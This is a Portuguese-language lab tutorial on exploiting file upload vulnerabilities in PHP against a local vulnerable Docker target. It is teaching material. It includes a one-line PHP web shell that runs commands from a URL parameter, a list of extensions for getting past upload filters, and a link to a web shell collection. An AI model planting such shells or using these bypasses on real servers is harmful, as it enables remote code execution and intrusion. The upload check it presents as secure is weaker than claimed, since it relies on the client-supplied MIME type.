Explorar Vulnerabilidades de Upload de Arquivos com Nmap

NmapBeginner
Pratique Agora

Introdução

Este laboratório foca-se em vulnerabilidades de upload de arquivos, um problema de segurança comum em aplicações web. Você aprenderá como identificar essas vulnerabilidades, entender seu impacto potencial e explorar métodos para explorá-las. O laboratório oferece experiência prática com exemplos, permitindo que você compreenda melhor os conceitos de segurança de aplicações web e medidas defensivas.

Compreendendo as Vulnerabilidades de Upload de Arquivos

Vulnerabilidades de upload de arquivos ocorrem quando aplicações web falham em validar adequadamente os arquivos enviados. Isso pode permitir que atacantes enviem arquivos maliciosos, potencialmente levando à execução remota de código no servidor.

Vamos examinar uma implementação típica de upload de arquivos em PHP usando a função move_uploaded_file():

<?php
// A função move_uploaded_file() move um arquivo enviado para uma nova localização
// Retorna true em caso de sucesso, false em caso de falha
move_uploaded_file($file, $newloc);

Parâmetros:

  • $file: O arquivo enviado para mover
  • $newloc: O caminho de destino para o arquivo

Uma implementação segura deve incluir validação adequada, como mostrado neste exemplo:

<?php
// Define as extensões de imagem permitidas
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);        // Obtém a extensão do arquivo

if ((($_FILES["file"]["type"] == "image/gif")
    || ($_FILES["file"]["type"] == "image/jpeg")
    || ($_FILES["file"]["type"] == "image/jpg")
    || ($_FILES["file"]["type"] == "image/pjpeg")
    || ($_FILES["file"]["type"] == "image/x-png")
    || ($_FILES["file"]["type"] == "image/png"))
    && ($_FILES["file"]["size"] < 204800)    // Menos de 200 KB
    && in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "Error: " . $_FILES["file"]["error"] . "<br>";
    }
    else
    {
        echo "Uploaded file name: " . $_FILES["file"]["name"] . "<br>";
        echo "File type: " . $_FILES["file"]["type"] . "<br>";
        echo "File size: " . ($_FILES["file"]["size"] / 1024) . " KB<br>";
        echo "Temporary file location: " . $_FILES["file"]["tmp_name"];
    }
}
else
{
    echo "Invalid file format";
}
?>

Este código demonstra várias verificações de segurança importantes:

  • Validação da extensão do arquivo
  • Verificação do tipo MIME
  • Limitação do tamanho do arquivo
  • Tratamento de erros

Sem essas validações, atacantes poderiam potencialmente enviar arquivos maliciosos que são executados no servidor.

Identificando a Linguagem do Lado do Servidor

Antes de explorar uma vulnerabilidade de upload de arquivos, é crucial identificar a linguagem do lado do servidor usada pela aplicação web. Essa informação determina qual tipo de arquivo enviar para uma exploração bem-sucedida.

Primeiro, vamos configurar nosso ambiente de laboratório:

docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/upload/images

Após executar este comando, verifique se o ambiente está acessível em: http://localhost:82

Métodos para identificar a linguagem do lado do servidor:

  1. Extensões de Arquivo da URL:

    • Extensões .php indicam PHP
    • Extensões .asp ou .aspx indicam ASP.NET
    • Extensões .jsp indicam Java Server Pages
  2. Cabeçalhos do Servidor:

    • Microsoft IIS normalmente executa ASP.NET
    • Apache ou Nginx comumente executam PHP
    • Apache Tomcat executa JSP

Você pode usar a extensão de navegador Wappalyzer para detectar automaticamente o servidor web e a linguagem de programação:

Em nosso ambiente de laboratório, você deve ver:

Web Server: Apache
Backend Language: PHP

Upload de um Web Shell

Agora que identificamos PHP como a linguagem do lado do servidor, vamos enviar um web shell PHP para executar comandos no servidor.

Uma coleção de web shells pode ser encontrada aqui:

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/web-exploit-exp/fileupload/php
  1. Crie um arquivo de teste phpinfo.php no diretório /home/labex/project:
<?php phpinfo(); ?>
  1. Envie o arquivo:

  2. Verifique o upload:

  3. Crie um shell de execução de comando shell.php:

<?php echo "Shell"; system($_GET['cmd']); ?>
  1. Envie e teste o shell:

  2. Execute comandos:

Observação: Este laboratório demonstra a funcionalidade básica de um web shell. Tópicos avançados como reverse shells e escalonamento de privilégios são abordados em cursos mais avançados.

Contornando Restrições do Servidor (Opcional)

Algumas aplicações web implementam restrições de extensão de arquivo para evitar uploads de arquivos maliciosos. Esta seção explora métodos para contornar essas restrições.

Quando extensões .php são bloqueadas, tente extensões PHP alternativas que podem ser executáveis:

  1. Tente enviar com a extensão .php3:

  2. Se não for bem-sucedido, tente a extensão .phar:

Extensões comuns para tentar contornar:

  • .php3
  • .php4
  • .php5
  • .phar
  • .phtml

Observação: O sucesso depende da configuração do servidor. Diferentes servidores podem permitir que diferentes extensões sejam executadas como código PHP.

Resumo

Este laboratório abordou aspectos essenciais das vulnerabilidades de upload de arquivos:

Conceitos Chave:

  • Compreensão dos mecanismos de vulnerabilidade de upload de arquivos
  • Identificação de linguagens de programação do lado do servidor
  • Upload e execução de web shells
  • Bypassing (Contornando) restrições de extensão de arquivo

Habilidades Técnicas Adquiridas:

  • Detecção de linguagem do lado do servidor
  • Criação e implantação de web shells
  • Execução de comandos através de arquivos enviados
  • Técnicas de bypass de extensão

Implicações de Segurança:

  • Impacto da validação de arquivo insuficiente
  • Importância das restrições de upload adequadas
  • Riscos de execução do lado do servidor

Este conhecimento fundamental prepara você para tópicos avançados de segurança de aplicações web abordados em cursos subsequentes.